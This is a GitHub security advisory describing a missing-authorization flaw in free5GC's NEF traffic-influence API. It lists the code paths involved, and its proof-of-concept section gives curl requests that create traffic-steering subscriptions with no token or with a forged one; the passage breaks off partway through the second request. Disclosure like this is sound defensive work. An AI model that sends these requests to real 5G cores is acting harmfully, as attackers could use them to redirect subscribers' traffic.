GitHub Security Advisory: GHSA-3p28-73q7-45xp
Package: github.com/free5gc/nef (GO)
Severity: CRITICAL (CVSS 9.4)
CWE: CWE-862: Missing Authorization
Vulnerable versions: <= 1.2.3
Patched in: unpatched

Summary: free5GC's NEF 3gpp-traffic-influence API is unauthenticated; missing or forged bearer tokens can create, read, patch, and delete subscriptions

Details:
### Summary
free5GC's NEF mounts the `3gpp-traffic-influence` API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, patch, and delete traffic-influence subscriptions either with no `Authorization` header at all, or with a forged bearer token (e.g. `Authorization: Bearer not-a-real-token`). This includes creating `AnyUeInd=true` subscriptions intended to affect group / any-UE traffic steering. The route group is also reachable even when the running config's `ServiceList` does not declare it, so operators who think they disabled the service via config are still exposed.

This is the highest-impact NEF service exposure observed in the lab because it enables unauthenticated state changes on traffic-steering policy objects rather than read-only exposure.

### Details
Validated against the NEF container in the official Docker compose lab.
- Source repo tag: `v4.2.1`
- Running Docker image: `free5gc/nef:v4.2.0`
- Runtime NEF commit: `5ce35eab`
- Docker validation date: 2026-03-11

NEF advertises `OAuth2 setting receive from NRF: true`, and its `ServiceList` only declares `nnef-pfdmanagement` and `nnef-oam`. Despite that, the `3gpp-traffic-influence` route group is mounted and reachable with no inbound auth middleware.

Code evidence (paths in `free5gc/nef`):
- Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:48`
- CRUD routes exposed at `/:afID/subscriptions` and `/:afID/subscriptions/:subID`: `NFs/nef/internal/sbi/api_ti.go:13`
- POST allocates AF/subscription state and writes traffic-influence data: `NFs/nef/internal/sbi/processor/ti.go:50`
- PATCH looks up and updates the subscription, then calls UDR/PCF: `NFs/nef/internal/sbi/processor/ti.go:279`
- DELETE looks up and removes the subscription: `NFs/nef/internal/sbi/processor/ti.go:355`
- NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153`
- Config validation only allows `nnef-pfdmanagement` and `nnef-oam`: `NFs/nef/pkg/factory/config.go:126`

### PoC
Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000`.

1. CREATE subscription with NO `Authorization` header at all -> `201 Created`:
```
curl -i \
  -H 'Content-Type: application/json' \
  --data '{"afServiceId":"svc-noauth","afAppId":"app-noauth","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.40 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-noauth","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \
  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-noauth/subscriptions
```

2. CREATE second subscription with FORGED bearer token -> `201 Created`:
```
curl -i \
  -H 'Authorization: Bearer not-a-real-token' \
  -H 'Content-Type: application/json' \
  --data '{"afServiceId":"svc-high","afAppId":"app-high","dnn":"intern